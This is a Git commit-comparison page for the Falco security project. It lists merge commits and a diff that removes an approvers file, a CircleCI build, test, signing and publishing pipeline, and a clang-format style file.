Compare commits

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13 Commits

Author SHA1 Message Date
Mark Stemm
5e38f130cc Merge remote-tracking branch 'origin/dev' 2018-09-11 11:02:10 -07:00
Mark Stemm
470710366b Merge remote-tracking branch 'origin/dev' 2018-07-31 12:06:09 -07:00
Mark Stemm
6acb13e6bb Merge branch 'dev' 2018-07-24 17:33:24 -07:00
David Archer
b496116fe3 Don't make driver compilation fail when kernel is compiled with CONFIG_ORC_UNWINDER or CONFIG_STACK_VALIDATION. (#362)
sysdig-CLA-1.0-signed-off-by: David Archer <darcher@gmail.com>
2018-04-30 14:30:39 -07:00
Mark Stemm
2a0911dcfd Merge branch 'dev' 2018-04-24 16:21:18 -07:00
Mark Stemm
94df00e512 Merge branch 'dev' 2018-01-18 09:07:00 -08:00
Mark Stemm
3ee76637f4 Merge branch 'dev' 2018-01-17 20:30:28 -08:00
Mark Stemm
e8aee19f6c Merge remote-tracking branch 'origin/dev', 0.8.1 2017-10-10 10:49:27 -07:00
Mark Stemm
74556e5f6e Merge branch 'dev' 2017-10-09 17:17:12 -07:00
Mark Stemm
809d20c294 Merge pull request #246 from draios/dev
Merging for 0.7.0
2017-05-30 13:30:39 -07:00
Mark Stemm
b0ae29c23a Merge branch 'dev' 2017-05-15 11:12:11 -07:00
Mark Stemm
d1b6b2be87 Merge pull request #229 from draios/dev
Merging for 0.6.0
2017-03-29 16:00:06 -07:00
Mark Stemm
e00181d553 Merge pull request #174 from draios/dev
Merging for 0.5.0
2016-12-22 13:25:32 -08:00
569 changed files with 11331 additions and 35295 deletions

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@@ -1,2 +0,0 @@
emeritus_approvers:
- jonahjon

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@@ -1,932 +0,0 @@
version: 2.1
jobs:
"build-arm64":
machine:
enabled: true
image: ubuntu-2004:202101-01
resource_class: arm.medium
steps:
- checkout:
path: /tmp/source-arm64/falco
- run:
name: Prepare project
command: |
mkdir -p /tmp/build-arm64 && mkdir -p /tmp/build-arm64/release && \
docker run -e BUILD_TYPE="release" -it -v /tmp/source-arm64:/source -v /tmp/build-arm64:/build \
falcosecurity/falco-builder:latest \
cmake
- run:
name: Build
command: |
docker run -e BUILD_TYPE="release" -it -v /tmp/source-arm64:/source -v /tmp/build-arm64:/build \
falcosecurity/falco-builder:latest \
all
- run:
name: Run unit tests
command: |
docker run -e BUILD_TYPE="release" -it -v /tmp/source-arm64:/source -v /tmp/build-arm64:/build \
falcosecurity/falco-builder:latest \
tests
- run:
name: Build packages
command: |
docker run -e BUILD_TYPE="release" -it -v /tmp/source-arm64:/source -v /tmp/build-arm64:/build \
falcosecurity/falco-builder:latest \
package
- run:
name: Prepare Artifacts
command: |
mkdir -p /tmp/packages
cp /tmp/build-arm64/release/*.deb /tmp/packages
cp /tmp/build-arm64/release/*.tar.gz /tmp/packages
cp /tmp/build-arm64/release/*.rpm /tmp/packages
- store_artifacts:
path: /tmp/packages
destination: /packages
- persist_to_workspace:
root: /tmp
paths:
- build-arm64/release
- source-arm64
# Build a statically linked Falco release binary using musl
# This build is 100% static, there are no host dependencies
"build-musl":
docker:
- image: alpine:3.12
steps:
- checkout:
path: /source-static/falco
- run:
name: Update base image
command: apk update
- run:
name: Install build dependencies
command: apk add g++ gcc cmake make git bash perl linux-headers autoconf automake m4 libtool elfutils-dev libelf-static patch binutils
- run:
name: Prepare project
command: |
mkdir -p /build-static/release
cd /build-static/release
cmake -DCPACK_GENERATOR=TGZ -DBUILD_BPF=Off -DBUILD_DRIVER=Off -DCMAKE_BUILD_TYPE=Release -DUSE_BUNDLED_DEPS=On -DUSE_BUNDLED_LIBELF=Off -DMUSL_OPTIMIZED_BUILD=On -DFALCO_ETC_DIR=/etc/falco /source-static/falco
- run:
name: Build
command: |
cd /build-static/release
make -j4 all
- run:
name: Package
command: |
cd /build-static/release
make -j4 package
- run:
name: Run unit tests
command: |
cd /build-static/release
make tests
- run:
name: Prepare artifacts
command: |
mkdir -p /tmp/packages
cp /build-static/release/*.tar.gz /tmp/packages
- store_artifacts:
path: /tmp/packages
destination: /packages
- persist_to_workspace:
root: /
paths:
- build-static/release
- source-static
# Build using our own builder base image using centos 7
# This build is static, dependencies are bundled in the Falco binary
"build-centos7":
docker:
- image: falcosecurity/falco-builder:latest
environment:
BUILD_TYPE: "release"
steps:
- checkout:
path: /source/falco
- run:
name: Prepare project
command: /usr/bin/entrypoint cmake
- run:
name: Build
command: /usr/bin/entrypoint all
- run:
name: Run unit tests
command: /usr/bin/entrypoint tests
- run:
name: Build packages
command: /usr/bin/entrypoint package
- persist_to_workspace:
root: /
paths:
- build/release
- source
- run:
name: Prepare artifacts
command: |
mkdir -p /tmp/packages
cp /build/release/*.deb /tmp/packages
cp /build/release/*.tar.gz /tmp/packages
cp /build/release/*.rpm /tmp/packages
- store_artifacts:
path: /tmp/packages
destination: /packages
# Execute integration tests based on the build results coming from the "build-centos7" job
"tests-integration":
docker:
- image: falcosecurity/falco-tester:latest
environment:
SOURCE_DIR: "/source"
BUILD_DIR: "/build"
BUILD_TYPE: "release"
steps:
- setup_remote_docker
- attach_workspace:
at: /
- run:
name: Execute integration tests
command: /usr/bin/entrypoint test
- store_test_results:
path: /build/release/integration-tests-xunit
"tests-integration-static":
docker:
- image: falcosecurity/falco-tester:latest
environment:
SOURCE_DIR: "/source-static"
BUILD_DIR: "/build-static"
BUILD_TYPE: "release"
SKIP_PACKAGES_TESTS: "true"
SKIP_PLUGINS_TESTS: "true"
steps:
- setup_remote_docker
- attach_workspace:
at: /
- run:
name: Execute integration tests
command: /usr/bin/entrypoint test
- store_test_results:
path: /build-static/release/integration-tests-xunit
# Execute integration tests based on the build results coming from the "build-arm64" job
"tests-integration-arm64":
machine:
enabled: true
image: ubuntu-2004:202101-01
resource_class: arm.medium
steps:
- attach_workspace:
at: /tmp
- run:
name: Execute integration tests
command: |
docker run -e BUILD_TYPE="release" -e BUILD_DIR="/build" -e SOURCE_DIR="/source" -it -v /var/run/docker.sock:/var/run/docker.sock -v /tmp/source-arm64:/source -v /tmp/build-arm64:/build \
falcosecurity/falco-tester:latest \
test
- store_test_results:
path: /tmp/build-arm64/release/integration-tests-xunit
"tests-driver-loader-integration":
machine:
image: ubuntu-2004:202107-02
steps:
- attach_workspace:
at: /tmp/ws
- run:
name: Execute driver-loader integration tests
command: /tmp/ws/source/falco/test/driver-loader/run_test.sh /tmp/ws/build/release/
# Code quality
"quality-static-analysis":
docker:
- image: falcosecurity/falco-builder:latest
environment:
BUILD_TYPE: "release"
steps:
- run:
name: Install cppcheck
command: |
yum update -y
yum install epel-release -y
yum install cppcheck cppcheck-htmlreport -y
- checkout:
path: /source/falco
- run:
name: Prepare project
command: /usr/bin/entrypoint cmake
- run:
name: cppcheck
command: /usr/bin/entrypoint cppcheck
- run:
name: cppcheck html report
command: /usr/bin/entrypoint cppcheck_htmlreport
- store_artifacts:
path: /build/release/static-analysis-reports
destination: /static-analysis-reports
# Sign rpm packages
"rpm-sign":
docker:
- image: falcosecurity/falco-builder:latest
steps:
- attach_workspace:
at: /
- run:
name: Install rpmsign
command: |
yum update -y
yum install rpm-sign -y
- run:
name: Prepare
command: |
echo "%_signature gpg" > ~/.rpmmacros
echo "%_gpg_name Falcosecurity Package Signing" >> ~/.rpmmacros
echo "%__gpg_sign_cmd %{__gpg} --force-v3-sigs --batch --no-armor --passphrase-fd 3 --no-secmem-warning -u \"%{_gpg_name}\" -sb --digest-algo sha256 %{__plaintext_filename}'" >> ~/.rpmmacros
cat > ~/sign \<<EOF
#!/usr/bin/expect -f
spawn rpmsign --addsign {*}\$argv
expect -exact "Enter pass phrase: "
send -- "\n"
expect eof
EOF
chmod +x ~/sign
echo $GPG_KEY | base64 -d | gpg --import
- run:
name: Sign rpm x86_64
command: |
cd /build/release/
~/sign *.rpm
rpm --qf %{SIGPGP:pgpsig} -qp *.rpm | grep SHA256
- run:
name: Sign rpm arm64
command: |
cd /build-arm64/release/
~/sign *.rpm
rpm --qf %{SIGPGP:pgpsig} -qp *.rpm | grep SHA256
- persist_to_workspace:
root: /
paths:
- build/release/*.rpm
- build-arm64/release/*.rpm
# Publish the dev packages
"publish-packages-dev":
docker:
- image: docker.io/centos:7
steps:
- attach_workspace:
at: /
- run:
name: Setup
command: |
yum install epel-release -y
yum update -y
yum install createrepo gpg python python-pip -y
pip install awscli==1.19.47
echo $GPG_KEY | base64 -d | gpg --import
- run:
name: Publish rpm-dev
command: |
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
/source/falco/scripts/publish-rpm -f /build/release/falco-${FALCO_VERSION}-x86_64.rpm -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.rpm -r rpm-dev
- run:
name: Publish bin-dev
command: |
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
/source/falco/scripts/publish-bin -f /build/release/falco-${FALCO_VERSION}-x86_64.tar.gz -r bin-dev -a x86_64
/source/falco/scripts/publish-bin -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.tar.gz -r bin-dev -a aarch64
- run:
name: Publish bin-static-dev
command: |
FALCO_VERSION=$(cat /build-static/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
cp -f /build-static/release/falco-${FALCO_VERSION}-x86_64.tar.gz /build-static/release/falco-${FALCO_VERSION}-static-x86_64.tar.gz
/source/falco/scripts/publish-bin -f /build-static/release/falco-${FALCO_VERSION}-static-x86_64.tar.gz -r bin-dev -a x86_64
"publish-packages-deb-dev":
docker:
- image: docker.io/debian:stable
steps:
- attach_workspace:
at: /
- run:
name: Setup
command: |
apt update -y
apt-get install apt-utils bzip2 gpg python python3-pip -y
pip install awscli
echo $GPG_KEY | base64 -d | gpg --import
- run:
name: Publish deb-dev
command: |
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
/source/falco/scripts/publish-deb -f /build/release/falco-${FALCO_VERSION}-x86_64.deb -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.deb -r deb-dev
"build-docker-dev":
docker:
- image: alpine:3.16
steps:
- attach_workspace:
at: /
- setup_remote_docker:
version: 20.10.12
docker_layer_caching: true
- run:
name: Install deps
command: |
apk update
apk add make bash git docker docker-cli-buildx py3-pip
pip install awscli
- run:
name: Login to registries
command: |
echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/falcosecurity
- run:
name: Build and publish no-driver-dev
command: |
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
cd /source/falco
docker buildx build --push --build-arg VERSION_BUCKET=bin-dev --build-arg FALCO_VERSION=${FALCO_VERSION} \
-t falcosecurity/falco-no-driver:x86_64-master \
-t falcosecurity/falco:x86_64-master-slim \
-t public.ecr.aws/falcosecurity/falco-no-driver:x86_64-master \
-t public.ecr.aws/falcosecurity/falco:x86_64-master-slim \
docker/no-driver
- run:
name: Build and publish falco-dev
command: |
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
cd /source/falco
docker buildx build --push --build-arg VERSION_BUCKET=deb-dev --build-arg FALCO_VERSION=${FALCO_VERSION} \
-t falcosecurity/falco:x86_64-master \
-t public.ecr.aws/falcosecurity/falco:x86_64-master \
docker/falco
- run:
name: Build and publish falco-driver-loader-dev
command: |
cd /source/falco
docker buildx build --push --build-arg FALCO_IMAGE_TAG=x86_64-master \
-t falcosecurity/falco-driver-loader:x86_64-master \
-t public.ecr.aws/falcosecurity/falco-driver-loader:x86_64-master \
docker/driver-loader
"build-docker-dev-arm64":
machine:
enabled: true
image: ubuntu-2004:202101-01
docker_layer_caching: true
resource_class: arm.medium
steps:
- attach_workspace:
at: /tmp
- run:
name: Install deps
command: |
sudo apt update
sudo apt install groff less python3-pip
pip install awscli
- run:
name: Login to registries
command: |
echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/falcosecurity
- run:
name: Build and publish no-driver-dev
command: |
FALCO_VERSION=$(cat /tmp/build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
cd /tmp/source-arm64/falco
docker buildx build --push --build-arg VERSION_BUCKET=bin-dev --build-arg FALCO_VERSION=${FALCO_VERSION} \
-t falcosecurity/falco-no-driver:aarch64-master \
-t falcosecurity/falco:aarch64-master-slim \
-t public.ecr.aws/falcosecurity/falco-no-driver:aarch64-master \
-t public.ecr.aws/falcosecurity/falco:aarch64-master-slim \
docker/no-driver
- run:
name: Build and publish falco-dev
command: |
FALCO_VERSION=$(cat /tmp/build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
cd /tmp/source-arm64/falco
docker buildx build --push --build-arg VERSION_BUCKET=deb-dev --build-arg FALCO_VERSION=${FALCO_VERSION} \
-t falcosecurity/falco:aarch64-master \
-t public.ecr.aws/falcosecurity/falco:aarch64-master \
docker/falco
- run:
name: Build and publish falco-driver-loader-dev
command: |
cd /tmp/source-arm64/falco
docker buildx build --push --build-arg FALCO_IMAGE_TAG=aarch64-master \
-t falcosecurity/falco-driver-loader:aarch64-master \
-t public.ecr.aws/falcosecurity/falco-driver-loader:aarch64-master \
docker/driver-loader
# Publish docker packages
"publish-docker-dev":
docker:
- image: cimg/base:stable
user: root
steps:
- setup_remote_docker:
version: 20.10.12
- run:
name: Install deps
command: |
sudo apt update
sudo apt install groff less python3-pip
pip install awscli
- run:
name: Login to registries
command: |
echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/falcosecurity
- run:
name: Upload no-driver-dev manifest to registries
command: |
docker manifest create falcosecurity/falco-no-driver:master \
falcosecurity/falco-no-driver:aarch64-master \
falcosecurity/falco-no-driver:x86_64-master
docker manifest push falcosecurity/falco-no-driver:master
docker manifest create falcosecurity/falco:master-slim \
falcosecurity/falco:aarch64-master-slim \
falcosecurity/falco:x86_64-master-slim
docker manifest push falcosecurity/falco:master-slim
docker manifest create public.ecr.aws/falcosecurity/falco-no-driver:master \
public.ecr.aws/falcosecurity/falco-no-driver:aarch64-master \
public.ecr.aws/falcosecurity/falco-no-driver:x86_64-master
docker manifest push public.ecr.aws/falcosecurity/falco-no-driver:master
docker manifest create public.ecr.aws/falcosecurity/falco:master-slim \
public.ecr.aws/falcosecurity/falco:aarch64-master-slim \
public.ecr.aws/falcosecurity/falco:x86_64-master-slim
docker manifest push public.ecr.aws/falcosecurity/falco:master-slim
- run:
name: Upload falco-dev manifest to registries
command: |
docker manifest create falcosecurity/falco:master \
falcosecurity/falco:aarch64-master \
falcosecurity/falco:x86_64-master
docker manifest push falcosecurity/falco:master
docker manifest create public.ecr.aws/falcosecurity/falco:master \
public.ecr.aws/falcosecurity/falco:aarch64-master \
public.ecr.aws/falcosecurity/falco:x86_64-master
docker manifest push public.ecr.aws/falcosecurity/falco:master
- run:
name: Upload falco-driver-loader-dev manifest to registries
command: |
docker manifest create falcosecurity/falco-driver-loader:master \
falcosecurity/falco-driver-loader:aarch64-master \
falcosecurity/falco-driver-loader:x86_64-master
docker manifest push falcosecurity/falco-driver-loader:master
docker manifest create public.ecr.aws/falcosecurity/falco-driver-loader:master \
public.ecr.aws/falcosecurity/falco-driver-loader:aarch64-master \
public.ecr.aws/falcosecurity/falco-driver-loader:x86_64-master
docker manifest push public.ecr.aws/falcosecurity/falco-driver-loader:master
# Publish the packages
"publish-packages":
docker:
- image: docker.io/centos:7
steps:
- attach_workspace:
at: /
- run:
name: Setup
command: |
yum install epel-release -y
yum update -y
yum install createrepo gpg python python-pip -y
pip install awscli==1.19.47
echo $GPG_KEY | base64 -d | gpg --import
- run:
name: Publish rpm
command: |
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
/source/falco/scripts/publish-rpm -f /build/release/falco-${FALCO_VERSION}-x86_64.rpm -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.rpm -r rpm
- run:
name: Publish bin
command: |
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
/source/falco/scripts/publish-bin -f /build/release/falco-${FALCO_VERSION}-x86_64.tar.gz -r bin -a x86_64
/source/falco/scripts/publish-bin -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.tar.gz -r bin -a aarch64
- run:
name: Publish bin-static
command: |
FALCO_VERSION=$(cat /build-static/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
cp -f /build-static/release/falco-${FALCO_VERSION}-x86_64.tar.gz /build-static/release/falco-${FALCO_VERSION}-static-x86_64.tar.gz
/source/falco/scripts/publish-bin -f /build-static/release/falco-${FALCO_VERSION}-static-x86_64.tar.gz -r bin -a x86_64
"publish-packages-deb":
docker:
- image: docker.io/debian:stable
steps:
- attach_workspace:
at: /
- run:
name: Setup
command: |
apt update -y
apt-get install apt-utils bzip2 gpg python python3-pip -y
pip install awscli
echo $GPG_KEY | base64 -d | gpg --import
- run:
name: Publish deb
command: |
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
/source/falco/scripts/publish-deb -f /build/release/falco-${FALCO_VERSION}-x86_64.deb -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.deb -r deb
"build-docker":
docker:
- image: alpine:3.16
steps:
- attach_workspace:
at: /
- setup_remote_docker:
version: 20.10.12
docker_layer_caching: true
- run:
name: Install deps
command: |
apk update
apk add make bash git docker docker-cli-buildx py3-pip
pip install awscli
- run:
name: Login to registries
command: |
echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/falcosecurity
- run:
name: Build and publish no-driver
command: |
cd /source/falco
docker buildx build --push --build-arg VERSION_BUCKET=bin --build-arg FALCO_VERSION=${CIRCLE_TAG} \
-t "falcosecurity/falco-no-driver:x86_64-${CIRCLE_TAG}" \
-t falcosecurity/falco-no-driver:x86_64-latest \
-t "falcosecurity/falco:x86_64-${CIRCLE_TAG}-slim" \
-t "falcosecurity/falco:x86_64-latest-slim" \
-t "public.ecr.aws/falcosecurity/falco-no-driver:x86_64-${CIRCLE_TAG}" \
-t "public.ecr.aws/falcosecurity/falco-no-driver:x86_64-latest" \
-t "public.ecr.aws/falcosecurity/falco:x86_64-${CIRCLE_TAG}-slim" \
-t "public.ecr.aws/falcosecurity/falco:x86_64-latest-slim" \
docker/no-driver
- run:
name: Build and publish falco
command: |
cd /source/falco
docker buildx build --push --build-arg VERSION_BUCKET=deb --build-arg FALCO_VERSION=${CIRCLE_TAG} \
-t "falcosecurity/falco:x86_64-${CIRCLE_TAG}" \
-t "falcosecurity/falco:x86_64-latest" \
-t "public.ecr.aws/falcosecurity/falco:x86_64-${CIRCLE_TAG}" \
-t "public.ecr.aws/falcosecurity/falco:x86_64-latest" \
docker/falco
- run:
name: Build and publish falco-driver-loader
command: |
cd /source/falco
docker buildx build --push --build-arg FALCO_IMAGE_TAG=x86_64-${CIRCLE_TAG} \
-t "falcosecurity/falco-driver-loader:x86_64-${CIRCLE_TAG}" \
-t "falcosecurity/falco-driver-loader:x86_64-latest" \
-t "public.ecr.aws/falcosecurity/falco-driver-loader:x86_64-${CIRCLE_TAG}" \
-t "public.ecr.aws/falcosecurity/falco-driver-loader:x86_64-latest" \
docker/driver-loader
"build-docker-arm64":
machine:
enabled: true
image: ubuntu-2004:202101-01
docker_layer_caching: true
resource_class: arm.medium
steps:
- attach_workspace:
at: /tmp
- run:
name: Install deps
command: |
sudo apt update
sudo apt install groff less python3-pip
pip install awscli
- run:
name: Login to registries
command: |
echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/falcosecurity
- run:
name: Build and publish no-driver
command: |
cd /tmp/source-arm64/falco
docker buildx build --push --build-arg VERSION_BUCKET=bin --build-arg FALCO_VERSION=${CIRCLE_TAG} \
-t falcosecurity/falco-no-driver:aarch64-${CIRCLE_TAG} \
-t falcosecurity/falco-no-driver:aarch64-latest \
-t falcosecurity/falco:aarch64-${CIRCLE_TAG}-slim \
-t "falcosecurity/falco:aarch64-latest-slim" \
-t public.ecr.aws/falcosecurity/falco-no-driver:aarch64-${CIRCLE_TAG} \
-t "public.ecr.aws/falcosecurity/falco-no-driver:aarch64-latest" \
-t public.ecr.aws/falcosecurity/falco:aarch64-${CIRCLE_TAG}-slim \
-t "public.ecr.aws/falcosecurity/falco:aarch64-latest-slim" \
docker/no-driver
- run:
name: Build and publish falco
command: |
cd /tmp/source-arm64/falco
docker buildx build --push --build-arg VERSION_BUCKET=deb --build-arg FALCO_VERSION=${CIRCLE_TAG} \
-t "falcosecurity/falco:aarch64-${CIRCLE_TAG}" \
-t "falcosecurity/falco:aarch64-latest" \
-t "public.ecr.aws/falcosecurity/falco:aarch64-${CIRCLE_TAG}" \
-t "public.ecr.aws/falcosecurity/falco:aarch64-latest" \
docker/falco
- run:
name: Build and publish falco-driver-loader
command: |
cd /tmp/source-arm64/falco
docker buildx build --push --build-arg FALCO_IMAGE_TAG=aarch64-${CIRCLE_TAG} \
-t "falcosecurity/falco-driver-loader:aarch64-${CIRCLE_TAG}" \
-t "falcosecurity/falco-driver-loader:aarch64-latest" \
-t "public.ecr.aws/falcosecurity/falco-driver-loader:aarch64-${CIRCLE_TAG}" \
-t "public.ecr.aws/falcosecurity/falco-driver-loader:aarch64-latest" \
docker/driver-loader
# Publish docker packages
"publish-docker":
docker:
- image: cimg/base:stable
user: root
steps:
- setup_remote_docker:
version: 20.10.12
- run:
name: Install deps
command: |
sudo apt update
sudo apt install groff less python3-pip
pip install awscli
- run:
name: Login to registries
command: |
echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/falcosecurity
- run:
name: Upload no-driver manifest to registries
command: |
docker manifest create falcosecurity/falco-no-driver:${CIRCLE_TAG} \
falcosecurity/falco-no-driver:aarch64-${CIRCLE_TAG} \
falcosecurity/falco-no-driver:x86_64-${CIRCLE_TAG}
docker manifest push falcosecurity/falco-no-driver:${CIRCLE_TAG}
docker manifest create falcosecurity/falco-no-driver:latest \
falcosecurity/falco-no-driver:aarch64-latest \
falcosecurity/falco-no-driver:x86_64-latest
docker manifest push falcosecurity/falco-no-driver:latest
docker manifest create falcosecurity/falco:${CIRCLE_TAG}-slim \
falcosecurity/falco:aarch64-${CIRCLE_TAG}-slim \
falcosecurity/falco:x86_64-${CIRCLE_TAG}-slim
docker manifest push falcosecurity/falco:${CIRCLE_TAG}-slim
docker manifest create falcosecurity/falco:latest-slim \
falcosecurity/falco:aarch64-latest-slim \
falcosecurity/falco:x86_64-latest-slim
docker manifest push falcosecurity/falco:latest-slim
docker manifest create public.ecr.aws/falcosecurity/falco-no-driver:${CIRCLE_TAG} \
public.ecr.aws/falcosecurity/falco-no-driver:aarch64-${CIRCLE_TAG} \
public.ecr.aws/falcosecurity/falco-no-driver:x86_64-${CIRCLE_TAG}
docker manifest push public.ecr.aws/falcosecurity/falco-no-driver:${CIRCLE_TAG}
docker manifest create public.ecr.aws/falcosecurity/falco-no-driver:latest \
public.ecr.aws/falcosecurity/falco-no-driver:aarch64-latest \
public.ecr.aws/falcosecurity/falco-no-driver:x86_64-latest
docker manifest push public.ecr.aws/falcosecurity/falco-no-driver:latest
docker manifest create public.ecr.aws/falcosecurity/falco:${CIRCLE_TAG}-slim \
public.ecr.aws/falcosecurity/falco:aarch64-${CIRCLE_TAG}-slim \
public.ecr.aws/falcosecurity/falco:x86_64-${CIRCLE_TAG}-slim
docker manifest push public.ecr.aws/falcosecurity/falco:${CIRCLE_TAG}-slim
docker manifest create public.ecr.aws/falcosecurity/falco:latest-slim \
public.ecr.aws/falcosecurity/falco:aarch64-latest-slim \
public.ecr.aws/falcosecurity/falco:x86_64-latest-slim
docker manifest push public.ecr.aws/falcosecurity/falco:latest-slim
- run:
name: Upload falco manifest to registries
command: |
docker manifest create falcosecurity/falco:${CIRCLE_TAG} \
falcosecurity/falco:aarch64-${CIRCLE_TAG} \
falcosecurity/falco:x86_64-${CIRCLE_TAG}
docker manifest push falcosecurity/falco:${CIRCLE_TAG}
docker manifest create falcosecurity/falco:latest \
falcosecurity/falco:aarch64-latest \
falcosecurity/falco:x86_64-latest
docker manifest push falcosecurity/falco:latest
docker manifest create public.ecr.aws/falcosecurity/falco:${CIRCLE_TAG} \
public.ecr.aws/falcosecurity/falco:aarch64-${CIRCLE_TAG} \
public.ecr.aws/falcosecurity/falco:x86_64-${CIRCLE_TAG}
docker manifest push public.ecr.aws/falcosecurity/falco:${CIRCLE_TAG}
docker manifest create public.ecr.aws/falcosecurity/falco:latest \
public.ecr.aws/falcosecurity/falco:aarch64-latest \
public.ecr.aws/falcosecurity/falco:x86_64-latest
docker manifest push public.ecr.aws/falcosecurity/falco:latest
- run:
name: Upload falco-driver-loader manifest to registries
command: |
docker manifest create falcosecurity/falco-driver-loader:${CIRCLE_TAG} \
falcosecurity/falco-driver-loader:aarch64-${CIRCLE_TAG} \
falcosecurity/falco-driver-loader:x86_64-${CIRCLE_TAG}
docker manifest push falcosecurity/falco-driver-loader:${CIRCLE_TAG}
docker manifest create falcosecurity/falco-driver-loader:latest \
falcosecurity/falco-driver-loader:aarch64-latest \
falcosecurity/falco-driver-loader:x86_64-latest
docker manifest push falcosecurity/falco-driver-loader:latest
docker manifest create public.ecr.aws/falcosecurity/falco-driver-loader:${CIRCLE_TAG} \
public.ecr.aws/falcosecurity/falco-driver-loader:aarch64-${CIRCLE_TAG} \
public.ecr.aws/falcosecurity/falco-driver-loader:x86_64-${CIRCLE_TAG}
docker manifest push public.ecr.aws/falcosecurity/falco-driver-loader:${CIRCLE_TAG}
docker manifest create public.ecr.aws/falcosecurity/falco-driver-loader:latest \
public.ecr.aws/falcosecurity/falco-driver-loader:aarch64-latest \
public.ecr.aws/falcosecurity/falco-driver-loader:x86_64-latest
docker manifest push public.ecr.aws/falcosecurity/falco-driver-loader:latest
workflows:
version: 2.1
build_and_test:
jobs:
- "build-musl"
- "build-arm64"
- "build-centos7"
- "quality-static-analysis"
- "tests-integration":
requires:
- "build-centos7"
- "tests-integration-arm64":
requires:
- "build-arm64"
- "tests-integration-static":
requires:
- "build-musl"
- "tests-driver-loader-integration":
requires:
- "build-centos7"
- "rpm-sign":
context: falco
filters:
tags:
ignore: /.*/
branches:
only: master
requires:
- "tests-integration"
- "tests-integration-arm64"
- "publish-packages-dev":
context:
- falco
- test-infra
filters:
tags:
ignore: /.*/
branches:
only: master
requires:
- "rpm-sign"
- "tests-integration-static"
- "publish-packages-deb-dev":
context:
- falco
- test-infra
filters:
tags:
ignore: /.*/
branches:
only: master
requires:
- "tests-integration"
- "tests-integration-arm64"
- "build-docker-dev":
context:
- falco
- test-infra
filters:
tags:
ignore: /.*/
branches:
only: master
requires:
- "publish-packages-dev"
- "publish-packages-deb-dev"
- "tests-driver-loader-integration"
- "build-docker-dev-arm64":
context:
- falco
- test-infra
filters:
tags:
ignore: /.*/
branches:
only: master
requires:
- "publish-packages-dev"
- "publish-packages-deb-dev"
- "tests-driver-loader-integration"
- "publish-docker-dev":
context:
- falco
- test-infra
filters:
tags:
ignore: /.*/
branches:
only: master
requires:
- "build-docker-dev"
- "build-docker-dev-arm64"
# - "quality/static-analysis" # This is temporarily disabled: https://github.com/falcosecurity/falco/issues/1526
release:
jobs:
- "build-musl":
filters:
tags:
only: /.*/
branches:
ignore: /.*/
- "build-centos7":
filters:
tags:
only: /.*/
branches:
ignore: /.*/
- "build-arm64":
filters:
tags:
only: /.*/
branches:
ignore: /.*/
- "rpm-sign":
context: falco
requires:
- "build-centos7"
- "build-arm64"
filters:
tags:
only: /.*/
branches:
ignore: /.*/
- "publish-packages":
context:
- falco
- test-infra
requires:
- "build-musl"
- "rpm-sign"
filters:
tags:
only: /.*/
branches:
ignore: /.*/
- "publish-packages-deb":
context:
- falco
- test-infra
requires:
- "build-centos7"
- "build-arm64"
filters:
tags:
only: /.*/
branches:
ignore: /.*/
- "build-docker":
context:
- falco
- test-infra
requires:
- "publish-packages"
- "publish-packages-deb"
filters:
tags:
only: /.*/
branches:
ignore: /.*/
- "build-docker-arm64":
context:
- falco
- test-infra
requires:
- "publish-packages"
- "publish-packages-deb"
filters:
tags:
only: /.*/
branches:
ignore: /.*/
- "publish-docker":
context:
- falco
- test-infra
requires:
- "build-docker"
- "build-docker-arm64"
filters:
tags:
only: /.*/
branches:
ignore: /.*/

View File

@@ -1,16 +0,0 @@
---
Language: Cpp
BasedOnStyle: LLVM
